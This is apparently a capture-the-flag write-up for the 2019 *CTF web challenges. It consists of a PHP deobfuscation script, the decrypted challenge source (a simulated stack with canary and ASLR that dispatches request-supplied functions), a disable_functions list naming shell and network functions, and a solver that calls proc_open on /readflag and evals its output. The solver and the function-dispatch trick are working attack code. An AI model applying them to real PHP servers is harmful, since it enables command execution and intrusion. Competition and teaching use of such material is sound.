2019*CTF之Web部分題解

<?php
include 'index.php';// index.php為被加密的檔案

function replaceString($match){
global $O;
$index = -1;
if(false !== strpos($match[1], 'x')){
$index = hexdec($match[1]);
}
else{
$index = $match[1];
}
if( function_exists($O[$index]) || class_exists($O[$index]) || defined($O[$index]) ){
return $O[$index];
}
else{
return "'".addslashes($O[$index])."'";
}

}

$encrypto_string = file_get_contents('index.php');
$encrypto_string = preg_replace_callback('/\$GLOBALS[\[\{]O0[\]\}][\[\{](\w{1,15})[\]\}]/','replaceString',$encrypto_string);
$decrypto_string = preg_replace_callback('/\$[O0]*[\[\{](\w{2,15})[\]\}]/','replaceString',$encrypto_string);
file_put_contents('decrypted.php', $decrypto_string);
?>

<?php
error_reporting(E_ALL^E_NOTICE);
define('O0', 'O');
require_once 'sandbox.php';

$seed = time();
srand($seed);
define(INS_OFFSET,rand(0x0000,0xffff));

$regs = array(
'eax'=>0x0,
'ebp'=>0x0,
'esp'=>0x0,
'eip'=>0x0,
);

function aslr(&$O00,$O0O){
$O00 = $O00 + 0x60000000 + INS_OFFSET + 0x001 ;
}
$func_ = array_flip($func);
array_walk($func_,aslr);
$plt = array_flip($func_);


function handle_data($OOO){
$OO0O=&$GLOBALS{O0};
$O000 = strlen($OOO);
$O00O = $O000/0x000004+(0x001*($O000%0x000004));
$O0O0 = str_split($OOO,0x000004);
$O0O0[$O00O-0x001] = str_pad($O0O0[$O00O-0x001],0x000004,'\0');

foreach ($O0O0as$O0OO=>&$OO00){
$OO00 = strrev(bin2hex($OO00));
}
return $O0O0;
}

function gen_canary(){
$O0O00=&$GLOBALS{O0};
$OOOO = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
$O0000 = $OOOO[rand(0,strlen($OOOO)-0x001)];
$O000O = $OOOO[rand(0,strlen($OOOO)-0x001)];
$O00O0 = $OOOO[rand(0,strlen($OOOO)-0x001)];
$O00OO = '\0';
return handle_data($O0000.$O000O.$O00O0.$O00OO)[0];
}
$canary = gen_canary();
$canarycheck = $canary;

function check_canary(){
global $canary;
global $canarycheck;
if($canary != $canarycheck){
die('emmmmmm...Don\'t attack me!');
}
}

Class O0OO0{
private$ebp,$stack,$esp;

publicfunction __construct($O0OOO,$OO000) {
$OO00O=&$GLOBALS{O0};
$this->stack = array();
global $regs;
$this->ebp = &$regs['ebp'];
$this->esp = &$regs['esp'];
$this->ebp = 0xfffe0000 + rand(0x0000,0xffff);

global $canary;
$this->stack[$this->ebp - 0x4] = &$canary;
$this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
$this->esp = $this->ebp - (rand(0x20,0x60)*0x000004);
$this->stack[$this->ebp + 0x4] = dechex($O0OOO);

if($OO000 != NULL)
$this->{'pushdata'}($OO000);
}

publicfunction pushdata($OO0O0){ 
$OOO00=&$GLOBALS{O0};
$OO0O0 = handle_data($OO0O0);
for($OO0OO=0;$OO0OO<count($OO0O0);$OO0OO++){
$this->stack[$this->esp+($OO0OO*0x000004)] = $OO0O0[$OO0OO];
//no args in my stack haha
check_canary();
}
}

publicfunction recover_data($OOO0O){
$OOOO0=&$GLOBALS{O0};
return hex2bin(strrev($OOO0O));
}

publicfunction outputdata(){
$O0000O=&$GLOBALS{O0};
global $regs;

echo 'root says: ';
while(0x001){
if($this->esp == $this->ebp-0x4)
break;
$this->{'pop'}('eax');
$OOOOO = $this->{'recover_data'}($regs['eax']);
$O00000 = explode('\0',$OOOOO);
echo $O00000[0];

if(count($O00000)>0x001){
break;
}
}
}

publicfunction ret(){
$O000O0=&$GLOBALS{O0};
$this->esp = $this->ebp;
$this->{'pop'}('ebp');
$this->{'pop'}('eip');
$this->{'call'}();
}

publicfunction get_data_from_reg($O000OO){
$O00OO0=&$GLOBALS{O0};
global $regs;
$O00O00 = $this->{'recover_data'}($regs[$O000OO]);
$O00O0O = explode('\0',$O00O00);
return $O00O0O[0];
}

publicfunction call(){
$O0OO00=&$GLOBALS{O0};
global $regs;
global $plt;
$O00OOO = hexdec($regs['eip']);

if(isset($_REQUEST[$O00OOO])) {
$this->{'pop'}('eax');
$O0O000 = (int)$this->{'get_data_from_reg'}('eax');
$O0O00O = array();
for($O0O0O0=0;$O0O0O0<$O0O000;$O0O0O0++){
$this->{'pop'}('eax');
$O0O0OO = $this->{'get_data_from_reg'}('eax');
array_push($O0O00O,$_REQUEST[$O0O0OO]);
}
call_user_func_array($plt[$O00OOO],$O0O00O);
}
else {
call_user_func($plt[$O00OOO]);
}
}

publicfunction push($O0OO0O){
$O0OOOO=&$GLOBALS{O0};
global $regs;
$O0OOO0 = $regs[$O0OO0O];
if( hex2bin(strrev($O0OOO0)) == NULL ) die('data error');
$this->stack[$this->esp] = $O0OOO0;
$this->esp -= 0x000004;
}

publicfunction pop($OO0000){
global $regs;
$regs[$OO0000] = $this->stack[$this->esp];
$this->esp += 0x000004;
}

publicfunction __call($OO000O,$OO00O0){
check_canary();
}

}class_alias(O0OO0,stack,0);print_R(O0OO0);print_R(stack);

if(isset($_POST['data'])) {
$phpinfo_addr = array_search(phpinfo, $plt);
$gets = $_POST['data'];
$main_stack = new stack($phpinfo_addr, $gets);
echo '--------------------output---------------------</br></br>';
$main_stack->{'outputdata'}();
echo '</br></br>------------------phpinfo()------------------</br>';
$main_stack->{'ret'}();
}

file_get_contents,file_put_contents,fwrite,file,chmod,chown,copy,link,fflush,mkdir,popen,rename,touch,unlink,pcntl_alarm,move_upload_file,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,fsockopen,pfsockopen,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,curl_init,curl_exec,curl_multi_init,curl_multi_exec,dba_open,dba_popen,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,dl,putenv

<?php
$descriptorspec = array(
0 => array("pipe", "r"),// 標準輸入，子程序從此管道中讀取資料
1 => array("pipe", "w"),// 標準輸出，子程序向此管道中寫入資料
2 => array("file", "/tmp/error-output.txt", "a") // 標準錯誤，寫入到一個檔案
);

$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
$question = fread($pipes[1],1024); // 獲取程式問題
$question = fread($pipes[1],1024); // 獲取程式問題
$question = trim($question);
var_dump($question);
eval('$result = '.$question.';');// 計算問題結果
fwrite($pipes[0], $result);// 回答程式問題
fclose($pipes[0]);
var_dump($result);

// $flag = stream_get_contents($pipes[1]);// getflag
$flag = fread($pipes[1],1024);
$flag = fread($pipes[1],1024);
$flag = fread($pipes[1],1024);

fclose($pipes[1]);
var_dump($flag);

$return_value = proc_close($process);

echo "command returned $return_value\n";
}

?>